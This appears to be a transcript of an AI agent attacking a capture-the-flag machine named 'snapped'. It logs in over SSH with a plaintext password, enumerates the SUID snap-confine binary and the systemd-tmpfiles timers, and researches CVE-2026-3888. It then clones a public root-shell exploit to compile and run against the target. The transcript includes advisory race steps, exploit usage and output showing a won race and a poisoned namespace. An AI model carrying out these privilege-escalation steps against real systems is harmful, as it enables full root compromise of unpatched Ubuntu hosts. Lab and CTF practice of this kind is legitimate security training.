-rw-r--r-- 1 root root 5394 Aug 20 2024 complete.sh
-rw-r--r-- 1 root root 7031 Aug 20 2024 etelpmoc.sh
-rw-r--r-- 1 root root 124 Aug 20 2024 info
-rwxr-xr-x 1 root root 10813608 Aug 20 2024 snap-bootstrap
-rwsr-xr-x 1 root root 159016 Aug 20 2024 snap-confine
-rwxr-xr-x 1 root root 6970424 Aug 20 2024 snapctl
-rwxr-xr-x 1 root root 23575272 Aug 20 2024 snapd
-rwxr-xr-x 1 root root 2392200 Aug 20 2024 snapd-apparmor
-rwxr-xr-x 1 root root 3826 Aug 20 2024 snapd.core-fixup.sh
-rwxr-xr-x 1 root root 18664 Aug 20 2024 snap-device-helper
-rwxr-xr-x 1 root root 26856 Aug 20 2024 snap-discard-ns
-rwxr-xr-x 1 root root 73 Aug 20 2024 snapd.run-from-snap
-rwxr-xr-x 1 root root 5101016 Aug 20 2024 snap-exec
-rwxr-xr-x 1 root root 2913000 Aug 20 2024 snap-failure
-rwxr-xr-x 1 root root 4295144 Aug 20 2024 snap-fde-keymgr
-rwxr-xr-x 1 root root 972816 Aug 20 2024 snap-gdbserver-shim
-rwxr-xr-x 1 root root 972816 Aug 20 2024 snap-gdb-shim
snap-confine is SUID root. Let me gather more info about the system setup for the TOCTOU exploit.
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'snap list 2>/dev/null; echo "---MOUNTS---"; mount | grep snap; echo "---TMPFILES---"; cat /usr/lib/tmpfiles.d/snapd.conf 2>/dev/null; cat /etc/tmpfiles.d/snapd.conf 2>/dev/null; ls /tmp/snap.* 2>/dev/null' 2>/dev/nullName Version Rev Tracking Publisher Notes
bare 1.0 5 latest/stable canonical** base
core22 20240731 1564 latest/stable canonical** base
firefox 129.0.2-1 4793 latest/stable/… mozilla** -
firmware-updater 0+git.5007558 127 1/stable/… canonical** -
gnome-42-2204 0+git.510a601 176 latest/stable/… canonical** -
gtk-common-themes 0.1-81-g442e511 1535 latest/stable/… canonical** -
snap-store 0+git.e3dd562 1173 2/stable/… canonical** -
snapd 2.63 21759 latest/stable canonical** snapd
snapd-desktop-integration 0.9 178 latest/stable/… canonical** -
---MOUNTS---
/var/lib/snapd/snaps/bare_5.snap on /snap/bare/5 type squashfs (ro,nodev,relatime,errors=continue,threads=single,x-gdu.hide,x-gvfs-hide)
/var/lib/snapd/snaps/core22_1564.snap on /snap/core22/1564 type squashfs (ro,nodev,relatime,errors=continue,threads=single,x-gdu.hide,x-gvfs-hide)
/var/lib/snapd/snaps/firefox_4793.snap on /snap/firefox/4793 type squashfs (ro,nodev,relatime,errors=continue,threads=single,x-gdu.hide,x-gvfs-hide)
/var/lib/snapd/snaps/firmware-updater_127.snap on /snap/firmware-updater/127 type squashfs (ro,nodev,relatime,errors=continue,threads=single,x-gdu.hide,x-gvfs-hide)
/var/lib/snapd/snaps/gnome-42-2204_176.snap on /snap/gnome-42-2204/176 type squashfs (ro,nodev,relatime,errors=continue,threads=single,x-gdu.hide,x-gvfs-hide)
/var/lib/snapd/snaps/gtk-common-themes_1535.snap on /snap/gtk-common-themes/1535 type squashfs (ro,nodev,relatime,errors=continue,threads=single,x-gdu.hide,x-gvfs-hide)
/var/lib/snapd/snaps/snapd_21759.snap on /snap/snapd/21759 type squashfs (ro,nodev,relatime,errors=continue,threads=single,x-gdu.hide,x-gvfs-hide)
/var/lib/snapd/snaps/snap-store_1173.snap on /snap/snap-store/1173 type squashfs (ro,nodev,relatime,errors=continue,threads=single,x-gdu.hide,x-gvfs-hide)
/var/lib/snapd/snaps/snapd-desktop-integration_178.snap on /snap/snapd-desktop-integration/178 type squashfs (ro,nodev,relatime,errors=continue,threads=single,x-gdu.hide,x-gvfs-hide)
tmpfs on /run/snapd/ns type tmpfs (rw,nosuid,nodev,noexec,relatime,size=400820k,mode=755,inode64)
nsfs on /run/snapd/ns/snapd-desktop-integration.mnt type nsfs (rw)
---TMPFILES---
D! /tmp/snap-private-tmp 0700 root root -
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'cat /usr/lib/tmpfiles.d/snap-confine-tmpfiles.conf 2>/dev/null; cat /usr/lib/tmpfiles.d/*snap* 2>/dev/null; echo "---SYSTEMD---"; systemctl list-timers 2>/dev/null | head -20; echo "---SNAP-CONFINE---"; ls -la /usr/lib/snapd/snap-confine; file /usr/lib/snapd/snap-confine' 2>/dev/nullD! /tmp/snap-private-tmp 0700 root root -
---SYSTEMD---
NEXT LEFT LAST PASSED UNIT ACTIVATES
Thu 2026-04-09 07:23:52 EDT 10s Thu 2026-04-09 07:22:52 EDT 49s ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
Thu 2026-04-09 07:30:00 EDT 6min Thu 2026-04-09 07:20:11 EDT 3min 30s ago sysstat-collect.timer sysstat-collect.service
Thu 2026-04-09 07:34:36 EDT 10min Thu 2026-04-09 07:05:09 EDT 18min ago anacron.timer anacron.service
Thu 2026-04-09 07:55:02 EDT 31min Wed 2026-03-18 17:13:26 EDT - fstrim.timer fstrim.service
Thu 2026-04-09 08:39:26 EDT 1h 15min Fri 2026-03-20 11:07:56 EDT - man-db.timer man-db.service
Thu 2026-04-09 08:50:46 EDT 1h 27min Thu 2026-04-09 07:16:37 EDT 7min ago fwupd-refresh.timer fwupd-refresh.service
Thu 2026-04-09 11:10:17 EDT 3h 46min Thu 2026-03-19 10:27:08 EDT - apt-daily.timer apt-daily.service
Thu 2026-04-09 12:59:45 EDT 5h 36min Thu 2026-03-19 11:22:09 EDT - motd-news.timer motd-news.service
Thu 2026-04-09 22:23:04 EDT 14h Wed 2026-03-18 17:13:32 EDT - update-notifier-motd.timer update-notifier-motd.service
Fri 2026-04-10 00:00:00 EDT 16h Thu 2026-04-09 07:05:09 EDT 18min ago dpkg-db-backup.timer dpkg-db-backup.service
Fri 2026-04-10 00:00:00 EDT 16h Thu 2026-04-09 07:05:09 EDT 18min ago logrotate.timer logrotate.service
Fri 2026-04-10 00:07:00 EDT 16h - - sysstat-summary.timer sysstat-summary.service
Fri 2026-04-10 06:02:04 EDT 22h Thu 2026-04-09 07:15:29 EDT 8min ago apt-daily-upgrade.timer apt-daily-upgrade.service
Fri 2026-04-10 07:08:44 EDT 23h Thu 2026-04-09 07:08:44 EDT 14min ago update-notifier-download.timer update-notifier-download.service
Sun 2026-04-12 03:10:52 EDT 2 days Thu 2026-04-09 07:05:09 EDT 18min ago e2scrub_all.timer e2scrub_all.service
15 timers listed.
Pass --all to see loaded but inactive timers, too.
---SNAP-CONFINE---
-rwsr-xr-x 1 root root 159016 Aug 20 2024 /usr/lib/snapd/snap-confine
/usr/lib/snapd/snap-confine: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=29e658fa96819d2158d20d18a3269fcadd5a6e7a, for GNU/Linux 3.2.0, stripped
Let me search for more information about CVE-2026-3888 and examine the system more closely.
{
"query": "CVE-2026-3888 snap-confine TOCTOU race condition exploit",
"search_depth": "advanced",
"max_results": 10
}Detailed Results:
Title: Ubuntu CVE-2026-3888 Bug, How a systemd Cleanup Timing Exploit Leads to Root on snapd Systems
URL: https://www.penligent.ai/hackinglabs/ubuntu-cve-2026-3888-bug-how-a-systemd-cleanup-timing-exploit-leads-to-root-on-snapd-systems/
Content: `snap-confine`
CVE-2022-3328 matters for a similar reason. NVD’s description is brief, but the gist is enough: another race in `snap-confine`, this time in a helper that creates directories with expected permissions. Even sparse public descriptions are instructive here. The repetition tells you that the snap-confine attack surface is not theoretical. Security teams responsible for Ubuntu estates should treat new snap-confine bugs as historically informed risks, not one-off curiosities. (NVD)
`snap-confine` [...] From there, the exploit becomes a race during namespace and mount preparation. `snap-confine` creates a writable “mimic” of a path such as `/usr/lib/x86_64-linux-gnu` in order to later bind-mount required content into it. Qualys’ advisory explains that between the first bind mount and the later stage where files and directories are re-bound into the writable tmpfs, an attacker can swap in their own prepared directory tree under the attacker-owned `.snap` path. When `snap-confine` resumes, it ends up bind-mounting attacker-controlled files and even the dynamic loader into the sandbox as root. That gives the attacker control over code execution inside the privileged sandbox setup path. (Qualys)
`snap-confine`
`/usr/lib/x86_64-linux-gnu`
`.snap`
`snap-confine` [...] `snap-confine`
`snap-confine`
`must_mkdir_and_open_with_perms()`
`pkexec`
`ld.so`
`GLIBC_TUNABLES`
CVE-2021-44731 is the most important comparison point. NVD describes it as a race condition in the `snap-confine` binary while preparing a private mount namespace, allowing a local attacker to gain root by bind-mounting their own contents into the snap private mount namespace and causing arbitrary code execution. That history matters because it shows a recurring class of risk around snap confinement setup. When a privileged helper builds namespaces and mount trees on behalf of an ordinary user, path handling and timing are not peripheral implementation details. They are the core security boundary. (NVD)
`snap-confine`
Title: CVE-2026-3888: Important Snap Flaw Enables Local Privilege Escalation to Root
URL: https://news.ycombinator.com/item?id=47427208
Content: file system, not a location in memory. Image 120) No. Race conditions are a normal part of our world, in the same way it's not a memory error if you coded the discount feature so that people can apply more than one 10% off coupon to an order and as a result the nine different "10% off" offers that marketing seeded have summed to a 90% discount which bankrupts you. An example race condition would be Mike and Sarah both wake up, notice there's no milk and decide to grab milk on the way home that evening, they both work a full day, drop past the store and arrive home with a carton of milk. But, now there are two cartons of milk, which is too much milk. Oops. This is called a "Time of Check versus Time of Use" race or ToCToU race. (Safe) Rust _does_ prevent Data Races which can be seen as a [...] the illusion is maintained, if you try to shatter it the compiler is going to say "No", languages like C or C++ just say well, if you accidentally destroy the illusion your program might do absolutely anything at all, good luck with that. Image 121) I like your idea of illustrating a race condition with buying milk - that should become the default method of explaining them. (Either that or bartenders serving customers which is my usual method of understanding work queues) Image 122) It can be about any resource. You get it when two concurrent functions access the resource without a queue, atomic operation or wait, and one of them modifies it. Image 123) > (a Rust rewrite of the standard GNU coreutils -- ls, cp, rm, cat, sort, etc), which are installed by default in Ubuntu 25.10. 0 [...] Image 33) Seems to address the proximal issue but perhaps leaves open use in a chaining attack? Image 34) Yes, it does. The attacker knows that snap is going to look in /tmp/.snap/, instead of e.g. /tmp/.snap.FjBz8oEWaU/ (which isn't guessable in advance) so when /tmp is flushed, he just has to recreate /tmp/.snap/ before snap-confine does, and drop his payload there. Image 35) If the directory had a random name, the attacker could see that name and recreate it after /tmp is flushed. Image 36) Only if you reuse the same random name. Which would be silly. Image 37) Well yeah, if everything runs unsandboxed as root then there are no privilege escalations! Less pithy, i seem to recall many issue with programs that relied on suid and permission dropping, which would be the 'oldschool' way of
Title: Full Disclosure: snap-confine + systemd-tmpfiles = root (CVE-2026-3888)
URL: https://seclists.org/fulldisclosure/2026/Mar/11
Content: analyze the strace of an "rm -Rf /var/crash/base" command (as root), and we quickly discovered that rm was vulnerable to a trivial race condition: ------------------------------------------------------------------------ 1 execve("/usr/bin/rm", ["rm", "-Rf", "/var/crash/base"], ...) = 0 ... 147 openat(AT_FDCWD, "/var/crash/base", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3 ... 152 openat(AT_FDCWD, "/var/crash/base/parent", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 4 ... 158 openat(AT_FDCWD, "/var/crash/base/parent/target", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 5 ... 163 rmdir("/var/crash/base/parent/target") = 0 ... 167 rmdir("/var/crash/base/parent") = 0 ... 171 rmdir("/var/crash/base") = 0 ... 174 exit_group(0) = ? [...] Second, from another shell outside snap-store's sandbox, we chdir to /tmp/snap-private-tmp/$SNAP/tmp (/tmp inside the sandbox) through the /proc/pid/cwd of our sandboxed shell, we destroy snap-store's sandbox (but not its /tmp directory) by executing snap-confine with an invalid base ("snapd"), and we run our snap-store_25.10.c helper (which is also basically CVE-2021-44731-Desktop.c from our "Lemmings" advisory): - we re-create the ./.snap directory ourselves (/tmp/.snap inside snap-store's sandbox), since it was deleted by systemd-tmpfiles, and we create our own copy of /snap/core22/current/var/lib in ./.snap/var/lib.exchange; - we force snap-confine to set up snap-store's sandbox afresh, by executing it with the "core22" base, but we "single-step" this execution (with SNAPD_DEBUG=1), [...] but we "single-step" this execution (with SNAPD_DEBUG=1), to reliably win the race condition between step 1/ and step 3/ of the "mimic" creation of /var/lib; - as soon as we see the following debug message (immediately after step 1/ of the "mimic" creation of /var/lib), mount name:"/var/lib" dir:"/tmp/.snap/var/lib" we quickly replace snap-confine's ./.snap/var/lib with our own ./.snap/var/lib.exchange, whose contents are then bind-mounted into /var/lib (inside snap-store's sandbox); this replacement has two beneficial consequences for us: a/ we control /var/lib/snapd/mount/snap.snap-store.user-fstab, which allows us to bind-mount near-arbitrary directories inside snap-store's sandbox (these bind-mounts are not completely arbitrary, because they are still confined by an AppArmor profile);
Title: CVE-2026-3888: Important Snap Flaw Enables Local Privilege Escalation to Root | Qualys
URL: https://blog.qualys.com/vulnerabilities-threat-research/2026/03/17/cve-2026-3888-important-snap-flaw-enables-local-privilege-escalation-to-root
Content: snap-confine: snap-confine is the setuid root binary that builds the sandbox before a snap app runs. It handles mount namespace isolation, cgroup enforcement, AppArmor policy loading, and seccomp filtering—the full confinement stack that keeps snaps from leaving their boundaries. Because it runs with elevated privileges to set up kernel-level isolation for regular users, it sits at a critical trust boundary. A bug like CVE-2026-3888 in this component could lead to privilege escalation, which makes consistent snapd patching a practical priority. [...] In a proactive security effort prior to the release of Ubuntu Desktop 25.10, the Qualys Threat Research Unit assisted the Ubuntu Security Team in reviewing the uutils coreutils package (a Rust rewrite of standard GNU utilities).
A race condition in the rm utility allowed an unprivileged local attacker to replace directory entries with symlinks during root-owned cron executions (specifically /etc/cron.daily/apport). Successful exploitation could lead to arbitrary file deletion as root or further privilege escalation by targeting snap sandbox directories. [...] Understanding snapd matters here because the two components below, snap-confine and systemd-tmpfiles, operate within or alongside this framework. snap-confine is the enforcement arm that actually builds the sandbox snapd defines, and systemd-tmpfiles handles the volatile filesystem plumbing that both snaps and system services depend on.
Title: GitHub - TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE · GitHub
URL: https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE
Content: [] Payload: /home/user/./librootshell.so (14320 bytes)
[Phase 1] Entering snap-store sandbox...
[+] Inner shell PID: 3501
[Phase 2] Waiting for .snap deletion...
[] Polling (up to 10 days on Ubuntu 25.10).
[] Hint: use -s to skip.
[+] .snap deleted.
[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_wQcOnV//dev: No such file or directory
[+] Namespace destroyed (.mnt gone).
[Phase 4] Setting up and running the race...
[] Working directory: /proc/3501/cwd
[] Building .snap and .exchange...
[] 17 entries copied to exchange directory
[] Starting race...
[] Monitoring snap-confine (child PID 3678)...
[!] TRIGGER — swapping directories...
[+] SWAP DONE — race won!
[+] Race won. /var/lib/snapd is now user-owned. [...] [] Payload: /home/user/./librootshell.so (9056 bytes)
[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 3122
[Phase 2] Waiting for .snap deletion...
[] Polling (up to 30 days on stock Ubuntu).
[] Hint: use -s to skip.
[+] .snap deleted.
[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] Namespace destroyed.
[Phase 4] Setting up and running the race...
[] Working directory: /proc/3122/cwd
[] Building .snap and .exchange...
[] 285 entries copied to exchange directory
[] Starting race...
[] Monitoring snap-confine (child PID 3543)...
[!] TRIGGER — swapping directories...
[+] SWAP DONE — race won!
[] ld-linux in namespace: user:user 755
[+] Poisoned namespace PID: 3543 [...] `-d`
`-s`
`.snap`
`.snap`
The exploit enters the sandbox, waits for `systemd-tmpfiles` to delete `.snap` (up to 10 days on stock Ubuntu 25.10 and up to 30 days on stock Ubuntu 24.04), then runs the race automatically. On success, drops to a root shell.
`systemd-tmpfiles`
`.snap`
### Requirements
`snap-confine`
`cap_sys_admin`
`cap_chown`
`cap_dac_override`
`snap-store`
`core22`
`systemd-tmpfiles-clean.timer`
`busybox`
`/usr/bin/busybox`
### Output
`user@ubuntu:~$ snap --version
snap 2.71.1+ubuntu25.10.1
snapd 2.71.1+ubuntu25.10.1
series 16
ubuntu 25.10
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=25.10
DISTRIB_CODENAME=questing
DISTRIB_DESCRIPTION="Ubuntu 25.10"
user@ubuntu:~$ ./exploit ./librootshell.so
Title: Ubuntu CVE-2026-3888 Bug Lets Attackers Gain Root via systemd Cleanup Timing Exploit
URL: https://thehackernews.com/2026/03/ubuntu-cve-2026-3888-bug-lets-attackers.html
Content: "This flaw (CVE-2026-3888) allows an unprivileged local attacker to escalate privileges to full root access through the interaction of two standard system components: snap-confine and systemd-tmpfiles," the Qualys Threat Research Unit (TRU) said. "While the exploit requires a specific time-based window (10–30 days), the resulting impact is a complete compromise of the host system."
The problem, Qualys noted, stems from the unintended interaction of snap-confine, which manages execution environments for snap applications by creating a sandbox, and systemd-tmpfiles, which automatically cleans up temporary files and directories (e.g.,/tmp, /run, and /var/tmp) older than a defined threshold.
The vulnerability has been patched in the following versions - [...] "Successful exploitation could lead to arbitrary file deletion as root or further privilege escalation by targeting snap sandbox directories," the cybersecurity company said. "The vulnerability was reported and mitigated prior to the public release of Ubuntu 25.10. The default rm command in Ubuntu 25.10 was reverted to GNU coreutils to mitigate this risk immediately. Upstream fixes have since been applied to the uutils repository."
Title: Snapd Race Condition Vulnerability in snap-confine’s must_mkdir_and_open_with_perms() (CVE-2022-3328) | Qualys
URL: https://blog.qualys.com/vulnerabilities-threat-research/2022/11/30/race-condition-in-snap-confines-must_mkdir_and_open_with_perms-cve-2022-3328
Content: The Qualys Threat Research Unit (TRU) exploited this bug in Ubuntu Server by combining it with two vulnerabilities in multipathd called Leeloo Multipath (an authorization bypass and a symlink attack, CVE-2022-41974 and CVE-2022-41973), to obtain full root privileges.
## What is snap-confine?
The snap-confine program is used internally by snapd to construct the execution environment for snap applications, an internal tool for confining snappy applications.
## Potential Impact
Successful exploitation of the three vulnerabilities lets any unprivileged user gain root privileges on the vulnerable device. Qualys security researchers have verified the vulnerability, developed an exploit and obtained full root privileges on default installations of Ubuntu. [...] # Snapd Race Condition Vulnerability in snap-confine’s must\_mkdir\_and\_open\_with\_perms() (CVE-2022-3328)
Saeed Abbasi
#### Table of Contents
The Qualys Threat Research Unit (TRU) has discovered a new vulnerability in snap-confine function on Linux operating systems, a SUID-root program installed by default on Ubuntu. Qualys recommends that security teams apply the patch for this vulnerability as soon as possible.
In February 2022, Qualys Threat Research Unit (TRU) published CVE-2021-44731 in our “Lemmings” advisory. The vulnerability (CVE-2022-3328) was introduced in February 2022 by the patch for CVE-2021-44731) [...] Using the same prioritization based on the RTI method as described above, customers can use the “patch now” button found to the right of the vulnerability to add Snap-confine to a patch job. Once patches are released, Qualys will find the relevant patches for this vulnerability and automatically add those patches to a patch job. This will allow customers to deploy those patches to vulnerable devices, all from the Qualys Cloud Platform.
Qualys Patch Management
#### Free Trial
### Get started with 30-day Free Trial
### Visualize Exposure and Track Remediation Progress with Qualys Unified Dashboard (UD)
Title: CVE-2021-44731: Canonical Snapd Privilege Escalation Flaw
URL: https://www.sentinelone.com/vulnerability-database/cve-2021-44731/
Content: The core issue is a Time-of-Check Time-of-Use (TOCTOU) vulnerability where an attacker can manipulate the file system state between when snap-confine checks a path and when it subsequently uses that path. Since snap-confine runs with root privileges (SUID-root), successful exploitation allows a local attacker to elevate their privileges to root.
The vulnerability requires local access and precise timing to exploit, as the attacker must win the race condition by inserting their bind mount at exactly the right moment during the namespace preparation process.
### Root Cause [...] Published: February 25, 2026
## CVE-2021-44731 Overview
CVE-2021-44731 is a race condition vulnerability discovered in the snap-confine binary of Canonical's snapd package management system (version 2.54.2). This vulnerability exists in the process of preparing a private mount namespace for a snap application. A local attacker with low privileges can exploit this race condition to gain root privileges by bind-mounting their own malicious contents inside the snap's private mount namespace, causing snap-confine to execute arbitrary code.
### Critical Impact
Local privilege escalation to root on affected Ubuntu, Fedora, and Debian Linux systems through exploitation of a time-of-check time-of-use (TOCTOU) race condition in the snapd snap-confine binary.
### Affected Products [...] ### Root Cause
The root cause is a race condition in the must\_mkdir\_and\_open\_with\_perms function within snap-confine. This function fails to atomically verify and use directory paths when setting up private mount namespaces. The lack of proper synchronization between the permission check and subsequent operations creates a window of opportunity where an attacker can substitute directories with bind mounts pointing to attacker-controlled content.
### Attack Vector
The attack vector is local and requires the attacker to already have a valid user account on the target system. The exploitation process involves:
Title: Snapd - Local Privilege Escalation (CVE-2026-3888) - Security - Ubuntu Community Hub
URL: https://discourse.ubuntu.com/t/snapd-local-privilege-escalation-cve-2026-3888/78627
Content: To use this LPE to obtain a fully privileged root shell, an unprivileged local attacker must wait for systemd-tmpfiles to delete the /tmp/snap-private-tmp//tmp/.snap directory for any already installed snap. This occurs 10 days after the last access or modification in Ubuntu 25.10, or 30 days in Ubuntu 24.04.
# Acknowledgements
We would like to thank Qualys for their excellent reporting.
# References [...] # Snapd - Local Privilege Escalation (CVE-2026-3888)
Qualys discovered a vulnerability in snapd which allows local attackers to escalate privileges. We assigned CVE-2026-3888 for it. This vulnerability impacts default installations of Ubuntu 24.04 LTS and Ubuntu 25.10, but we also applied the same hardening to Ubuntu 16.04 LTS, Ubuntu 18.04 LTS, Ubuntu 20.04 LTS and Ubuntu 22.04 LTS as non-default configurations could be vulnerable to it. The hardening will also be applied to upstream snapd version 2.75.1.
# Affected releases [...] `D! /tmp/snap-private-tmp 0700 root root -
# Allow removing content in the private tmp folders without affecting the
# architectural structure of the folders themselves.
X /tmp/snap-private-tmp
X /tmp/snap-private-tmp//tmp
x /tmp/snap-private-tmp//tmp/.snap`
After it, run:
`sudo systemctl restart systemd-tmpfiles-clean.service`
# How the exploits work
Qualys discovered that this unusual Local Privilege Escalation (LPE) stems from the interaction of two otherwise secure programs:Now I have a clear picture. Let me check the GitHub exploit and also get the full exploit from seclists.
{
"urls": [
"https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE"
],
"query": "exploit code CVE-2026-3888 download usage"
}Detailed Results:
Title: GitHub - TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE · GitHub
URL: https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE
Content: undefined
Raw Content: `exploit_caps.c`
`librootshell_caps.c`
`setreuid(0,0)`
`execve`
### Build
Both must be compiled on (or cross-compiled for) x86\_64 Linux. `exploit` is statically linked so it runs inside the snap sandbox without library dependencies. `librootshell.so` uses `-nostartfiles` and a `__attribute__((constructor))` — it is loaded via `ld.so.preload` before the target binary's `main()`.
`exploit`
`librootshell.so`
`-nostartfiles`
`__attribute__((constructor))`
`ld.so.preload`
`main()`
### Usage
`./exploit <librootshell.so> [-d] [-s]`
| Flag | Description |
--- |
| `-d` | Show snap-confine debug output (verbose mode) |
| `-s` | Skip the `.snap` cleanup wait (use when `.snap` is already gone) |
`-d`
`-s`
`.snap`
`.snap` [...] ### Build
Both must be compiled on (or cross-compiled for) x86\_64 Linux. `exploit` is statically linked so it runs inside the snap sandbox without library dependencies. `librootshell.so` uses `-nostdlib` because it contains only raw syscalls — no libc.
`exploit`
`librootshell.so`
`-nostdlib`
### Usage
`./exploit <librootshell.so> [-d] [-s]`
| Flag | Description |
--- |
| `-d` | Show snap-confine debug output (verbose mode) |
| `-s` | Skip the `.snap` cleanup wait (requires root password) |
`-d`
`-s`
`.snap`
The exploit enters the sandbox, waits for `systemd-tmpfiles` to delete `.snap` (up to 10 days on stock Ubuntu 25.10 and up to 30 days on stock Ubuntu 24.04), then runs the race automatically. On success, drops to a root shell.
`systemd-tmpfiles`
`.snap`
### Requirements [...] ## Latest commit
## History
## Repository files navigation
# CVE-2026-3888 — snap-confine / systemd-tmpfiles Local Privilege Escalation
Local privilege escalation from unprivileged user to full root on Ubuntu Desktop 24.04+ by exploiting a TOCTOU race condition between `snap-confine` and `systemd-tmpfiles`. Two variants are provided: SUID and Capabilities.
`snap-confine`
`systemd-tmpfiles`
CVSS: 7.8 (High) | Advisory: Qualys | Patch: snapd 2.74.2, March 17, 2026
## Table of Contents
## Variant ComparisonLet me check if there's already an exploit binary on the target or if I need to compile and upload one. Let me also check the system for the specific requirements.
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'which busybox 2>/dev/null; ls -la /tmp/snap-private-tmp/ 2>/dev/null; cat /etc/lsb-release 2>/dev/null; uname -a; ls -la /tmp/snap-private-tmp/*/tmp/.snap 2>/dev/null' 2>/dev/null/usr/bin/busybox
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
Linux snapped 6.17.0-19-generic #19~24.04.2-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 6 23:08:46 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
Ubuntu 24.04 with busybox available. Let me check for existing snap sandboxes and the .snap directory status.
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'ls -la /tmp/snap-private-tmp/ 2>/dev/null; for snap in snap-store firefox; do echo "--- $snap ---"; ls -la /tmp/snap-private-tmp/$snap/tmp/.snap 2>/dev/null; stat /tmp/snap-private-tmp/$snap/tmp/.snap 2>/dev/null; done' 2>/dev/null--- snap-store ---
--- firefox ---
The /tmp/snap-private-tmp/ directory doesn't exist yet or the .snap directory is already cleaned up. Let me check more.
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'ls -la /tmp/ | grep snap; echo "---"; cat /usr/lib/tmpfiles.d/snapd.conf; echo "---"; systemctl status systemd-tmpfiles-clean.timer 2>/dev/null | head -15; echo "---TIMFILES AGE---"; cat /usr/lib/tmpfiles.d/snap-confine-tmpfiles.conf 2>/dev/null; find /etc/tmpfiles.d/ /usr/lib/tmpfiles.d/ -name "*snap*" 2>/dev/null -exec cat {} \;' 2>/dev/null---
D! /tmp/snap-private-tmp 0700 root root -
---
● systemd-tmpfiles-clean.timer - Daily Cleanup of Temporary Directories
Loaded: loaded (/usr/lib/systemd/system/systemd-tmpfiles-clean.timer; static)
Drop-In: /etc/systemd/system/systemd-tmpfiles-clean.timer.d
└─override.conf
Active: active (waiting) since Thu 2026-04-09 07:05:09 EDT; 19min ago
Trigger: Thu 2026-04-09 07:24:52 EDT; 3s left
Triggers: ● systemd-tmpfiles-clean.service
Docs: man:tmpfiles.d(5)
man:systemd-tmpfiles(8)
Warning: some journal files were not opened due to insufficient permissions.
---TIMFILES AGE---
D! /tmp/snap-private-tmp 0700 root root -
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'cat /etc/systemd/system/systemd-tmpfiles-clean.timer.d/override.conf 2>/dev/null' 2>/dev/null[Timer]
OnBootSec=1m
OnUnitActiveSec=1m
The timer is set to run every 1 minute. This is configured for the CTF to make the cleanup happen much faster. Let me now get the exploit code from GitHub and compile it.
$ cd /tmp/snapped && git clone https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE.git 2>&1 | tail -5Cloning into 'CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE'...
$ ls -la /tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/ && find /tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/ -type f | head -20total 84
drwxrwxr-x 3 user user 4096 Apr 9 13:25 .
drwxrwxr-x 6 user user 4096 Apr 9 13:25 ..
drwxrwxr-x 8 user user 4096 Apr 9 13:25 .git
-rw-rw-r-- 1 user user 14120 Apr 9 13:25 README.md
-rw-rw-r-- 1 user user 24298 Apr 9 13:25 exploit_caps.c
-rw-rw-r-- 1 user user 23396 Apr 9 13:25 exploit_suid.c
-rw-rw-r-- 1 user user 666 Apr 9 13:25 librootshell_caps.c
-rw-rw-r-- 1 user user 1177 Apr 9 13:25 librootshell_suid.c
/tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/librootshell_suid.c
/tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/librootshell_caps.c
/tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/.git/refs/heads/main
/tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/.git/refs/remotes/origin/HEAD
/tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/.git/logs/refs/heads/main
/tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/.git/logs/refs/remotes/origin/HEAD
/tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/.git/logs/HEAD
/tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/.git/HEAD
/tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/.git/objects/pack/pack-0fb815d78abf47f768e0b794e065aa6ab5c1c84b.idx
/tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/.git/objects/pack/pack-0fb815d78abf47f768e0b794e065aa6ab5c1c84b.rev
